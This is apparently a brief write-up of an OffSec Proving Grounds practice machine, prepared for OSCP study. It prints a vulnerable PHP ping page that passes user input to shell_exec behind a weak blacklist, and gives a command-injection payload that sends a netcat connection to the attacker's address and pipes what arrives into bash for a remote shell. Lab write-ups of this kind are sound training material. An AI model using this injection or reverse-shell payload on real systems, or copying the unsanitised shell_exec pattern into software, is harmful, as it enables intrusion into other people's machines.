NoName Medium box on Offensive Security Proving Grounds - OSCP Preparation.

Hello,

We are going to exploit one of OffSec Proving Grounds Medium machines which called NoName and this post is not a fully detailed walkthrough, I will just go through the important points during the exploit process.

Enumeration:

• Nmap:

Getting RCE:

• We can ping IPs on that page: http://noname.pg/superadmin.php

• Not all the commands we try to run actually get executed on the target like ls:

• But we can list the files on the current directory using echo *:

• Reading the source code of superadmin.php file:

<?php
   if (isset($_POST['submitt']))
{
   	$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
   	$pinged=$_POST['pinger'];
   	$newStr = str_replace($word, "", $pinged);
   	if(strcmp($pinged, $newStr) == 0)
		{
		    $flag=1;
		}
       else
		{
		   $flag=0;
		}
}

if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre>$outer</pre>";
}
?>

• As you can see there’s a blacklist commands that we can’t use: ";","&&","/","bin","&"," &&","ls","nc","dir","pwd"

• Let’s get a shell:

  1. Create a local file with a payload to be executed on the target, then passing that file to a netcat listener:
  2. Connecting to our netcat from the remote target and passing the output to bash:

     The payload: ||netcat 192.168.49.137 9090|`which bash`

  3. We Got a shell:

Privilege Escalation:

• LinEnum:

• Exploit:

Happy Hacking!